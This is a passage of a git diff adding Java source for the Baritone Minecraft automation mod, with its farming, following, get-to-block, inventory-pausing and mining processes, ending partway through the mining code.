MELON(Blocks.MELON, state -> true), + NETHERWART(Blocks.NETHER_WART, state -> state.get(NetherWartBlock.AGE) >= 3), + COCOA(Blocks.COCOA, state -> state.get(CocoaBlock.AGE) >= 2), + SUGARCANE(Blocks.SUGAR_CANE, null) { + @Override + public boolean readyToHarvest(World world, BlockPos pos, BlockState state) { + if (Baritone.settings().replantCrops.value) { + return world.getBlockState(pos.down()).getBlock() instanceof SugarCaneBlock; + } + return true; + } + }, + CACTUS(Blocks.CACTUS, null) { + @Override + public boolean readyToHarvest(World world, BlockPos pos, BlockState state) { + if (Baritone.settings().replantCrops.value) { + return world.getBlockState(pos.down()).getBlock() instanceof CactusBlock; + } + return true; + } + }; + public final Block block; + public final Predicate readyToHarvest; + + Harvest(CropsBlock blockCrops) { + this(blockCrops, blockCrops::isMaxAge); + // max age is 7 for wheat, carrots, and potatoes, but 3 for beetroot + } + + Harvest(Block block, Predicate readyToHarvest) { + this.block = block; + this.readyToHarvest = readyToHarvest; + } + + public boolean readyToHarvest(World world, BlockPos pos, BlockState state) { + return readyToHarvest.test(state); + } + } + + private boolean readyForHarvest(World world, BlockPos pos, BlockState state) { + for (Harvest harvest : Harvest.values()) { + if (harvest.block == state.getBlock()) { + return harvest.readyToHarvest(world, pos, state); + } + } + return false; + } + + private boolean isPlantable(ItemStack stack) { + return FARMLAND_PLANTABLE.contains(stack.getItem()); + } + + private boolean isBoneMeal(ItemStack stack) { + return !stack.isEmpty() && stack.getItem().equals(Items.BONE_MEAL); + } + + private boolean isNetherWart(ItemStack stack) { + return !stack.isEmpty() && stack.getItem().equals(Items.NETHER_WART); + } + + private boolean isCocoa(ItemStack stack) { + return !stack.isEmpty() && stack.getItem().equals(Items.COCOA_BEANS); + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + ArrayList scan = new ArrayList<>(); + for (Harvest harvest : Harvest.values()) { + scan.add(harvest.block); + } + if (Baritone.settings().replantCrops.value) { + scan.add(Blocks.FARMLAND); + scan.add(Blocks.JUNGLE_LOG); + if (Baritone.settings().replantNetherWart.value) { + scan.add(Blocks.SOUL_SAND); + } + } + + if (Baritone.settings().mineGoalUpdateInterval.value != 0 && tickCount++ % Baritone.settings().mineGoalUpdateInterval.value == 0) { + Baritone.getExecutor().execute(() -> locations = BaritoneAPI.getProvider().getWorldScanner().scanChunkRadius(ctx, scan, 256, 10, 10)); + } + if (locations == null) { + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + List toBreak = new ArrayList<>(); + List openFarmland = new ArrayList<>(); + List bonemealable = new ArrayList<>(); + List openSoulsand = new ArrayList<>(); + List openLog = new ArrayList<>(); + for (BlockPos pos : locations) { + //check if the target block is out of range. + if (range != 0 && pos.distanceSq(center) > range * range) { + continue; + } + + BlockState state = ctx.world().getBlockState(pos); + boolean airAbove = ctx.world().getBlockState(pos.up()).getBlock() instanceof AirBlock; + if (state.getBlock() == Blocks.FARMLAND) { + if (airAbove) { + openFarmland.add(pos); + } + continue; + } + if (state.getBlock() == Blocks.SOUL_SAND) { + if (airAbove) { + openSoulsand.add(pos); + } + continue; + } + if (state.getBlock() == Blocks.JUNGLE_LOG) { + for (Direction direction : Direction.Plane.HORIZONTAL) { + if (ctx.world().getBlockState(pos.offset(direction)).getBlock() instanceof AirBlock) { + openLog.add(pos); + break; + } + } + continue; + } + if (readyForHarvest(ctx.world(), pos, state)) { + toBreak.add(pos); + continue; + } + if (state.getBlock() instanceof IGrowable) { + IGrowable ig = (IGrowable) state.getBlock(); + if (ig.canGrow(ctx.world(), pos, state, true) && ig.canUseBonemeal(ctx.world(), ctx.world().rand, pos, state)) { + bonemealable.add(pos); + } + } + } + + baritone.getInputOverrideHandler().clearAllKeys(); + for (BlockPos pos : toBreak) { + Optional rot = RotationUtils.reachable(ctx, pos); + if (rot.isPresent() && isSafeToCancel) { + baritone.getLookBehavior().updateTarget(rot.get(), true); + MovementHelper.switchToBestToolFor(ctx, ctx.world().getBlockState(pos)); + if (ctx.isLookingAt(pos)) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_LEFT, true); + } + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + } + ArrayList both = new ArrayList<>(openFarmland); + both.addAll(openSoulsand); + for (BlockPos pos : both) { + boolean soulsand = openSoulsand.contains(pos); + Optional rot = RotationUtils.reachableOffset(ctx, pos, new Vector3d(pos.getX() + 0.5, pos.getY() + 1, pos.getZ() + 0.5), ctx.playerController().getBlockReachDistance(), false); + if (rot.isPresent() && isSafeToCancel && baritone.getInventoryBehavior().throwaway(true, soulsand ? this::isNetherWart : this::isPlantable)) { + RayTraceResult result = RayTraceUtils.rayTraceTowards(ctx.player(), rot.get(), ctx.playerController().getBlockReachDistance()); + if (result instanceof BlockRayTraceResult && ((BlockRayTraceResult) result).getFace() == Direction.UP) { + baritone.getLookBehavior().updateTarget(rot.get(), true); + if (ctx.isLookingAt(pos)) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_RIGHT, true); + } + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + } + } + for (BlockPos pos : openLog) { + for (Direction dir : Direction.Plane.HORIZONTAL) { + if (!(ctx.world().getBlockState(pos.offset(dir)).getBlock() instanceof AirBlock)) { + continue; + } + Vector3d faceCenter = Vector3d.copyCentered(pos).add(Vector3d.copy(dir.getDirectionVec()).scale(0.5)); + Optional rot = RotationUtils.reachableOffset(ctx, pos, faceCenter, ctx.playerController().getBlockReachDistance(), false); + if (rot.isPresent() && isSafeToCancel && baritone.getInventoryBehavior().throwaway(true, this::isCocoa)) { + RayTraceResult result = RayTraceUtils.rayTraceTowards(ctx.player(), rot.get(), ctx.playerController().getBlockReachDistance()); + if (result instanceof BlockRayTraceResult && ((BlockRayTraceResult) result).getFace() == dir) { + baritone.getLookBehavior().updateTarget(rot.get(), true); + if (ctx.isLookingAt(pos)) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_RIGHT, true); + } + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + } + } + } + for (BlockPos pos : bonemealable) { + Optional rot = RotationUtils.reachable(ctx, pos); + if (rot.isPresent() && isSafeToCancel && baritone.getInventoryBehavior().throwaway(true, this::isBoneMeal)) { + baritone.getLookBehavior().updateTarget(rot.get(), true); + if (ctx.isLookingAt(pos)) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_RIGHT, true); + } + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + } + + if (calcFailed) { + logDirect("Farm failed"); + if (Baritone.settings().notificationOnFarmFail.value) { + logNotification("Farm failed", true); + } + onLostControl(); + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + + List goalz = new ArrayList<>(); + for (BlockPos pos : toBreak) { + goalz.add(new BuilderProcess.GoalBreak(pos)); + } + if (baritone.getInventoryBehavior().throwaway(false, this::isPlantable)) { + for (BlockPos pos : openFarmland) { + goalz.add(new GoalBlock(pos.up())); + } + } + if (baritone.getInventoryBehavior().throwaway(false, this::isNetherWart)) { + for (BlockPos pos : openSoulsand) { + goalz.add(new GoalBlock(pos.up())); + } + } + if (baritone.getInventoryBehavior().throwaway(false, this::isCocoa)) { + for (BlockPos pos : openLog) { + for (Direction direction : Direction.Plane.HORIZONTAL) { + if (ctx.world().getBlockState(pos.offset(direction)).getBlock() instanceof AirBlock) { + goalz.add(new GoalGetToBlock(pos.offset(direction))); + } + } + } + } + if (baritone.getInventoryBehavior().throwaway(false, this::isBoneMeal)) { + for (BlockPos pos : bonemealable) { + goalz.add(new GoalBlock(pos)); + } + } + for (Entity entity : ctx.entities()) { + if (entity instanceof ItemEntity && entity.isOnGround()) { + ItemEntity ei = (ItemEntity) entity; + if (PICKUP_DROPPED.contains(ei.getItem().getItem())) { + // +0.1 because of farmland's 0.9375 dummy height lol + goalz.add(new GoalBlock(new BlockPos(entity.getPositionVec().x, entity.getPositionVec().y + 0.1, entity.getPositionVec().z))); + } + } + } + return new PathingCommand(new GoalComposite(goalz.toArray(new Goal[0])), PathingCommandType.SET_GOAL_AND_PATH); + } + + @Override + public void onLostControl() { + active = false; + } + + @Override + public String displayName0() { + return "Farming"; + } +} diff --git a/src/baritone/process/FollowProcess.java b/src/baritone/process/FollowProcess.java new file mode 100644 index 00000000..85a273e7 --- /dev/null +++ b/src/baritone/process/FollowProcess.java @@ -0,0 +1,124 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalComposite; +import baritone.api.pathing.goals.GoalNear; +import baritone.api.pathing.goals.GoalXZ; +import baritone.api.process.IFollowProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.utils.BaritoneProcessHelper; +import net.minecraft.entity.Entity; +import net.minecraft.util.math.BlockPos; + +import java.util.List; +import java.util.function.Predicate; +import java.util.stream.Collectors; + +/** + * Follow an entity + * + * @author leijurv + */ +public final class FollowProcess extends BaritoneProcessHelper implements IFollowProcess { + + private Predicate filter; + private List cache; + + public FollowProcess(Baritone baritone) { + super(baritone); + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + scanWorld(); + Goal goal = new GoalComposite(cache.stream().map(this::towards).toArray(Goal[]::new)); + return new PathingCommand(goal, PathingCommandType.REVALIDATE_GOAL_AND_PATH); + } + + private Goal towards(Entity following) { + BlockPos pos; + if (Baritone.settings().followOffsetDistance.value == 0) { + pos = following.getPosition(); + } else { + GoalXZ g = GoalXZ.fromDirection(following.getPositionVec(), Baritone.settings().followOffsetDirection.value, Baritone.settings().followOffsetDistance.value); + pos = new BlockPos(g.getX(), following.getPositionVec().y, g.getZ()); + } + return new GoalNear(pos, Baritone.settings().followRadius.value); + } + + + private boolean followable(Entity entity) { + if (entity == null) { + return false; + } + if (!entity.isAlive()) { + return false; + } + if (entity.equals(ctx.player())) { + return false; + } + return ctx.entitiesStream().anyMatch(entity::equals); + } + + private void scanWorld() { + cache = ctx.entitiesStream() + .filter(this::followable) + .filter(this.filter) + .distinct() + .collect(Collectors.toList()); + } + + @Override + public boolean isActive() { + if (filter == null) { + return false; + } + scanWorld(); + return !cache.isEmpty(); + } + + @Override + public void onLostControl() { + filter = null; + cache = null; + } + + @Override + public String displayName0() { + return "Following " + cache; + } + + @Override + public void follow(Predicate filter) { + this.filter = filter; + } + + @Override + public List following() { + return cache; + } + + @Override + public Predicate currentFilter() { + return filter; + } +} diff --git a/src/baritone/process/GetToBlockProcess.java b/src/baritone/process/GetToBlockProcess.java new file mode 100644 index 00000000..0a7f7c94 --- /dev/null +++ b/src/baritone/process/GetToBlockProcess.java @@ -0,0 +1,256 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.pathing.goals.*; +import baritone.api.process.IGetToBlockProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.api.utils.BlockOptionalMeta; +import baritone.api.utils.BlockOptionalMetaLookup; +import baritone.api.utils.Rotation; +import baritone.api.utils.RotationUtils; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.MovementHelper; +import baritone.utils.BaritoneProcessHelper; +import net.minecraft.block.Block; +import net.minecraft.block.Blocks; +import net.minecraft.block.BlockState; +import net.minecraft.inventory.container.PlayerContainer; +import net.minecraft.util.math.BlockPos; + +import java.util.*; + +public final class GetToBlockProcess extends BaritoneProcessHelper implements IGetToBlockProcess { + + private BlockOptionalMeta gettingTo; + private List knownLocations; + private List blacklist; // locations we failed to calc to + private BlockPos start; + + private int tickCount = 0; + private int arrivalTickCount = 0; + + public GetToBlockProcess(Baritone baritone) { + super(baritone); + } + + @Override + public void getToBlock(BlockOptionalMeta block) { + onLostControl(); + gettingTo = block; + start = ctx.playerFeet(); + blacklist = new ArrayList<>(); + arrivalTickCount = 0; + rescan(new ArrayList<>(), new GetToBlockCalculationContext(false)); + } + + @Override + public boolean isActive() { + return gettingTo != null; + } + + @Override + public synchronized PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + if (knownLocations == null) { + rescan(new ArrayList<>(), new GetToBlockCalculationContext(false)); + } + if (knownLocations.isEmpty()) { + if (Baritone.settings().exploreForBlocks.value && !calcFailed) { + return new PathingCommand(new GoalRunAway(1, start) { + @Override + public boolean isInGoal(int x, int y, int z) { + return false; + } + + @Override + public double heuristic() { + return Double.NEGATIVE_INFINITY; + } + }, PathingCommandType.FORCE_REVALIDATE_GOAL_AND_PATH); + } + logDirect("No known locations of " + gettingTo + ", canceling GetToBlock"); + if (isSafeToCancel) { + onLostControl(); + } + return new PathingCommand(null, PathingCommandType.CANCEL_AND_SET_GOAL); + } + Goal goal = new GoalComposite(knownLocations.stream().map(this::createGoal).toArray(Goal[]::new)); + if (calcFailed) { + if (Baritone.settings().blacklistClosestOnFailure.value) { + logDirect("Unable to find any path to " + gettingTo + ", blacklisting presumably unreachable closest instances..."); + blacklistClosest(); + return onTick(false, isSafeToCancel); // gamer moment + } else { + logDirect("Unable to find any path to " + gettingTo + ", canceling GetToBlock"); + if (isSafeToCancel) { + onLostControl(); + } + return new PathingCommand(goal, PathingCommandType.CANCEL_AND_SET_GOAL); + } + } + int mineGoalUpdateInterval = Baritone.settings().mineGoalUpdateInterval.value; + if (mineGoalUpdateInterval != 0 && tickCount++ % mineGoalUpdateInterval == 0) { // big brain + List current = new ArrayList<>(knownLocations); + CalculationContext context = new GetToBlockCalculationContext(true); + Baritone.getExecutor().execute(() -> rescan(current, context)); + } + if (goal.isInGoal(ctx.playerFeet()) && goal.isInGoal(baritone.getPathingBehavior().pathStart()) && isSafeToCancel) { + // we're there + if (rightClickOnArrival(gettingTo.getBlock())) { + if (rightClick()) { + onLostControl(); + return new PathingCommand(null, PathingCommandType.CANCEL_AND_SET_GOAL); + } + } else { + onLostControl(); + return new PathingCommand(null, PathingCommandType.CANCEL_AND_SET_GOAL); + } + } + return new PathingCommand(goal, PathingCommandType.REVALIDATE_GOAL_AND_PATH); + } + + // blacklist the closest block and its adjacent blocks + public synchronized boolean blacklistClosest() { + List newBlacklist = new ArrayList<>(); + knownLocations.stream().min(Comparator.comparingDouble(ctx.playerFeet()::distanceSq)).ifPresent(newBlacklist::add); + outer: + while (true) { + for (BlockPos known : knownLocations) { + for (BlockPos blacklist : newBlacklist) { + if (areAdjacent(known, blacklist)) { // directly adjacent + newBlacklist.add(known); + knownLocations.remove(known); + continue outer; + } + } + } + // i can't do break; (codacy gets mad), and i can't do if(true){break}; (codacy gets mad) + // so i will do this + switch (newBlacklist.size()) { + default: + break outer; + } + } + logDebug("Blacklisting unreachable locations " + newBlacklist); + blacklist.addAll(newBlacklist); + return !newBlacklist.isEmpty(); + } + + // this is to signal to MineProcess that we don't care about the allowBreak setting + // it is NOT to be used to actually calculate a path + public class GetToBlockCalculationContext extends CalculationContext { + + public GetToBlockCalculationContext(boolean forUseOnAnotherThread) { + super(GetToBlockProcess.super.baritone, forUseOnAnotherThread); + } + + @Override + public double breakCostMultiplierAt(int x, int y, int z, BlockState current) { + return 1; + } + } + + // safer than direct double comparison from distanceSq + private boolean areAdjacent(BlockPos posA, BlockPos posB) { + int diffX = Math.abs(posA.getX() - posB.getX()); + int diffY = Math.abs(posA.getY() - posB.getY()); + int diffZ = Math.abs(posA.getZ() - posB.getZ()); + return (diffX + diffY + diffZ) == 1; + } + + @Override + public synchronized void onLostControl() { + gettingTo = null; + knownLocations = null; + start = null; + blacklist = null; + baritone.getInputOverrideHandler().clearAllKeys(); + } + + @Override + public String displayName0() { + if (knownLocations.isEmpty()) { + return "Exploring randomly to find " + gettingTo + ", no known locations"; + } + return "Get To " + gettingTo + ", " + knownLocations.size() + " known locations"; + } + + private synchronized void rescan(List known, CalculationContext context) { + List positions = MineProcess.searchWorld(context, new BlockOptionalMetaLookup(gettingTo), 64, known, blacklist, Collections.emptyList()); + positions.removeIf(blacklist::contains); + knownLocations = positions; + } + + private Goal createGoal(BlockPos pos) { + if (walkIntoInsteadOfAdjacent(gettingTo.getBlock())) { + return new GoalTwoBlocks(pos); + } + if (blockOnTopMustBeRemoved(gettingTo.getBlock()) && MovementHelper.isBlockNormalCube(baritone.bsi.get0(pos.up()))) { // TODO this should be the check for chest openability + return new GoalBlock(pos.up()); + } + return new GoalGetToBlock(pos); + } + + private boolean rightClick() { + for (BlockPos pos : knownLocations) { + Optional reachable = RotationUtils.reachable(ctx, pos, ctx.playerController().getBlockReachDistance()); + if (reachable.isPresent()) { + baritone.getLookBehavior().updateTarget(reachable.get(), true); + if (knownLocations.contains(ctx.getSelectedBlock().orElse(null))) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_RIGHT, true); // TODO find some way to right click even if we're in an ESC menu + System.out.println(ctx.player().openContainer); + if (!(ctx.player().openContainer instanceof PlayerContainer)) { + return true; + } + } + if (arrivalTickCount++ > 20) { + logDirect("Right click timed out"); + return true; + } + return false; // trying to right click, will do it next tick or so + } + } + logDirect("Arrived but failed to right click open"); + return true; + } + + private boolean walkIntoInsteadOfAdjacent(Block block) { + if (!Baritone.settings().enterPortal.value) { + return false; + } + return block == Blocks.NETHER_PORTAL; + } + + private boolean rightClickOnArrival(Block block) { + if (!Baritone.settings().rightClickContainerOnArrival.value) { + return false; + } + return block == Blocks.CRAFTING_TABLE || block == Blocks.FURNACE || block == Blocks.ENDER_CHEST || block == Blocks.CHEST || block == Blocks.TRAPPED_CHEST; + } + + private boolean blockOnTopMustBeRemoved(Block block) { + if (!rightClickOnArrival(block)) { // only if we plan to actually open it on arrival + return false; + } + // only these chests; you can open a crafting table or furnace even with a block on top + return block == Blocks.ENDER_CHEST || block == Blocks.CHEST || block == Blocks.TRAPPED_CHEST; + } +} diff --git a/src/baritone/process/InventoryPauserProcess.java b/src/baritone/process/InventoryPauserProcess.java new file mode 100644 index 00000000..eff89a49 --- /dev/null +++ b/src/baritone/process/InventoryPauserProcess.java @@ -0,0 +1,90 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.utils.BaritoneProcessHelper; + +public class InventoryPauserProcess extends BaritoneProcessHelper { + + boolean pauseRequestedLastTick; + boolean safeToCancelLastTick; + int ticksOfStationary; + + public InventoryPauserProcess(Baritone baritone) { + super(baritone); + } + + @Override + public boolean isActive() { + if (ctx.player() == null || ctx.world() == null) { + return false; + } + return true; + } + + private double motion() { + return ctx.player().getMotion().mul(1, 0, 1).length(); + } + + private boolean stationaryNow() { + return motion() < 0.00001; + } + + public boolean stationaryForInventoryMove() { + pauseRequestedLastTick = true; + return safeToCancelLastTick && ticksOfStationary > 1; + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + //logDebug(pauseRequestedLastTick + " " + safeToCancelLastTick + " " + ticksOfStationary); + safeToCancelLastTick = isSafeToCancel; + if (pauseRequestedLastTick) { + pauseRequestedLastTick = false; + if (stationaryNow()) { + ticksOfStationary++; + } + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + ticksOfStationary = 0; + return new PathingCommand(null, PathingCommandType.DEFER); + } + + @Override + public void onLostControl() { + + } + + @Override + public String displayName0() { + return "inventory pauser"; + } + + @Override + public double priority() { + return 5.1; // slightly higher than backfill + } + + @Override + public boolean isTemporary() { + return true; + } +} diff --git a/src/baritone/process/MineProcess.java b/src/baritone/process/MineProcess.java new file mode 100644 index 00000000..952facc1 --- /dev/null +++ b/src/baritone/process/MineProcess.java @@ -0,0 +1,538 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.pathing.goals.*; +import baritone.api.process.IMineProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.api.utils.*; +import baritone.api.utils.input.Input; +import baritone.cache.CachedChunk; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.MovementHelper; +import baritone.utils.BaritoneProcessHelper; +import baritone.utils.BlockStateInterface; +import net.minecraft.block.AirBlock; +import net.minecraft.block.Block; +import net.minecraft.block.Blocks; +import net.minecraft.block.BlockState; +import net.minecraft.block.FallingBlock; +import net.minecraft.client.world.ClientWorld; +import net.minecraft.entity.Entity; +import net.minecraft.entity.item.ItemEntity; +import net.minecraft.item.ItemStack; +import net.minecraft.util.math.BlockPos; + +import java.util.*; +import java.util.stream.Collectors; + +import static baritone.api.pathing.movement.ActionCosts.COST_INF; + +/** + * Mine blocks of a certain type + * + * @author leijurv + */ +public final class MineProcess extends BaritoneProcessHelper implements IMineProcess { + + private static final int ORE_LOCATIONS_COUNT = 64; + + private BlockOptionalMetaLookup filter; + private List knownOreLocations; + private List blacklist; // inaccessible + private Map anticipatedDrops; + private BlockPos branchPoint; + private GoalRunAway branchPointRunaway; + private int desiredQuantity; + private int tickCount; + + public MineProcess(Baritone baritone) { + super(baritone); + } + + @Override + public boolean isActive() { + return filter != null; + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + if (desiredQuantity > 0) { + int curr = ctx.player().inventory.mainInventory.stream() + .filter(stack -> filter.has(stack)) + .mapToInt(ItemStack::getCount).sum(); + System.out.println("Currently have " + curr + " valid items"); + if (curr >= desiredQuantity) { + logDirect("Have " + curr + " valid items"); + cancel(); + return null; + } + } + if (calcFailed) { + if (!knownOreLocations.isEmpty() && Baritone.settings().blacklistClosestOnFailure.value) { + logDirect("Unable to find any path to " + filter + ", blacklisting presumably unreachable closest instance..."); + if (Baritone.settings().notificationOnMineFail.value) { + logNotification("Unable to find any path to " + filter + ", blacklisting presumably unreachable closest instance...", true); + } + knownOreLocations.stream().min(Comparator.comparingDouble(ctx.playerFeet()::distanceSq)).ifPresent(blacklist::add); + knownOreLocations.removeIf(blacklist::contains); + } else { + logDirect("Unable to find any path to " + filter + ", canceling mine"); + if (Baritone.settings().notificationOnMineFail.value) { + logNotification("Unable to find any path to " + filter + ", canceling mine", true); + } + cancel(); + return null; + } + } + + updateLoucaSystem(); + int mineGoalUpdateInterval = Baritone.settings().mineGoalUpdateInterval.value; + List curr = new ArrayList<>(knownOreLocations); + if (mineGoalUpdateInterval != 0 && tickCount++ % mineGoalUpdateInterval == 0) { // big brain + CalculationContext context = new CalculationContext(baritone, true); + Baritone.getExecutor().execute(() -> rescan(curr, context)); + } + if (Baritone.settings().legitMine.value) { + if (!addNearby()) { + cancel(); + return null; + } + } + Optional shaft = curr.stream() + .filter(pos -> pos.getX() == ctx.playerFeet().getX() && pos.getZ() == ctx.playerFeet().getZ()) + .filter(pos -> pos.getY() >= ctx.playerFeet().getY()) + .filter(pos -> !(BlockStateInterface.get(ctx, pos).getBlock() instanceof AirBlock)) // after breaking a block, it takes mineGoalUpdateInterval ticks for it to actually update this list =( + .min(Comparator.comparingDouble(ctx.playerFeet()::distanceSq)); + baritone.getInputOverrideHandler().clearAllKeys(); + if (shaft.isPresent() && ctx.player().isOnGround()) { + BlockPos pos = shaft.get(); + BlockState state = baritone.bsi.get0(pos); + if (!MovementHelper.avoidBreaking(baritone.bsi, pos.getX(), pos.getY(), pos.getZ(), state)) { + Optional rot = RotationUtils.reachable(ctx, pos); + if (rot.isPresent() && isSafeToCancel) { + baritone.getLookBehavior().updateTarget(rot.get(), true); + MovementHelper.switchToBestToolFor(ctx, ctx.world().getBlockState(pos)); + if (ctx.isLookingAt(pos) || ctx.playerRotations().isReallyCloseTo(rot.get())) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_LEFT, true); + } + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + } + } + PathingCommand command = updateGoal(); + if (command == null) { + // none in range + // maybe say something in chat? (ahem impact) + cancel(); + return null; + } + return command; + } + + + private void updateLoucaSystem() { + Map copy = new HashMap<>(anticipatedDrops); + ctx.getSelectedBlock().ifPresent(pos -> { + if (knownOreLocations.contains(pos)) { + copy.put(pos, System.currentTimeMillis() + Baritone.settings().mineDropLoiterDurationMSThanksLouca.value); + } + }); + // elaborate dance to avoid concurrentmodificationexcepption since rescan thread reads this + // don't want to slow everything down with a gross lock do we now + for (BlockPos pos : anticipatedDrops.keySet()) { + if (copy.get(pos) < System.currentTimeMillis()) { + copy.remove(pos); + } + } + anticipatedDrops = copy; + } + + @Override + public void onLostControl() { + mine(0, (BlockOptionalMetaLookup) null); + } + + @Override + public String displayName0() { + return "Mine " + filter; + } + + private PathingCommand updateGoal() { + BlockOptionalMetaLookup filter = filterFilter(); + if (filter == null) { + return null; + } + + boolean legit = Baritone.settings().legitMine.value; + List locs = knownOreLocations; + if (!locs.isEmpty()) { + CalculationContext context = new CalculationContext(baritone); + List locs2 = prune(context, new ArrayList<>(locs), filter, ORE_LOCATIONS_COUNT, blacklist, droppedItemsScan()); + // can't reassign locs, gotta make a new var locs2, because we use it in a lambda right here, and variables you use in a lambda must be effectively final + Goal goal = new GoalComposite(locs2.stream().map(loc -> coalesce(loc, locs2, context)).toArray(Goal[]::new)); + knownOreLocations = locs2; + return new PathingCommand(goal, legit ? PathingCommandType.FORCE_REVALIDATE_GOAL_AND_PATH : PathingCommandType.REVALIDATE_GOAL_AND_PATH); + } + // we don't know any ore locations at the moment + if (!legit && !Baritone.settings().exploreForBlocks.value) { + return null; + } + // only when we should explore for blocks or are in legit mode we do this + int y = Baritone.settings().legitMineYLevel.value; + if (branchPoint == null) { + /*if (!baritone.getPathingBehavior().isPathing() && playerFeet().y == y) { + // cool, path is over and we are at desired y + branchPoint = playerFeet(); + branchPointRunaway = null; + } else { + return new GoalYLevel(y); + }*/ + branchPoint = ctx.playerFeet(); + } + // TODO shaft mode, mine 1x1 shafts to either side + // TODO also, see if the GoalRunAway with maintain Y at 11 works even from the surface + if (branchPointRunaway == null) { + branchPointRunaway = new GoalRunAway(1, y, branchPoint) { + @Override + public boolean isInGoal(int x, int y, int z) { + return false; + } + + @Override + public double heuristic() { + return Double.NEGATIVE_INFINITY; + } + }; + } + return new PathingCommand(branchPointRunaway, PathingCommandType.REVALIDATE_GOAL_AND_PATH); + } + + private void rescan(List already, CalculationContext context) { + BlockOptionalMetaLookup filter = filterFilter(); + if (filter == null) { + return; + } + if (Baritone.settings().legitMine.value) { + return; + } + List dropped = droppedItemsScan(); + List locs = searchWorld(context, filter, ORE_LOCATIONS_COUNT, already, blacklist, dropped); + locs.addAll(dropped); + if (locs.isEmpty() && !Baritone.settings().exploreForBlocks.value) { + logDirect("No locations for " + filter + " known, cancelling"); + if (Baritone.settings().notificationOnMineFail.value) { + logNotification("No locations for " + filter + " known, cancelling", true); + } + cancel(); + return; + } + knownOreLocations = locs; + } + + private boolean internalMiningGoal(BlockPos pos, CalculationContext context, List locs) { + // Here, BlockStateInterface is used because the position may be in a cached chunk (the targeted block is one that is kept track of) + if (locs.contains(pos)) { + return true; + } + BlockState state = context.bsi.get0(pos); + if (Baritone.settings().internalMiningAirException.value && state.getBlock() instanceof AirBlock) { + return true; + } + return filter.has(state) && plausibleToBreak(context, pos); + } + + private Goal coalesce(BlockPos loc, List locs, CalculationContext context) { + boolean assumeVerticalShaftMine = !(baritone.bsi.get0(loc.up()).getBlock() instanceof FallingBlock); + if (!Baritone.settings().forceInternalMining.value) { + if (assumeVerticalShaftMine) { + // we can get directly below the block + return new GoalThreeBlocks(loc); + } else { + // we need to get feet or head into the block + return new GoalTwoBlocks(loc); + } + } + boolean upwardGoal = internalMiningGoal(loc.up(), context, locs); + boolean downwardGoal = internalMiningGoal(loc.down(), context, locs); + boolean doubleDownwardGoal = internalMiningGoal(loc.down(2), context, locs); + if (upwardGoal == downwardGoal) { // symmetric + if (doubleDownwardGoal && assumeVerticalShaftMine) { + // we have a checkerboard like pattern + // this one, and the one two below it + // therefore it's fine to path to immediately below this one, since your feet will be in the doubleDownwardGoal + // but only if assumeVerticalShaftMine + return new 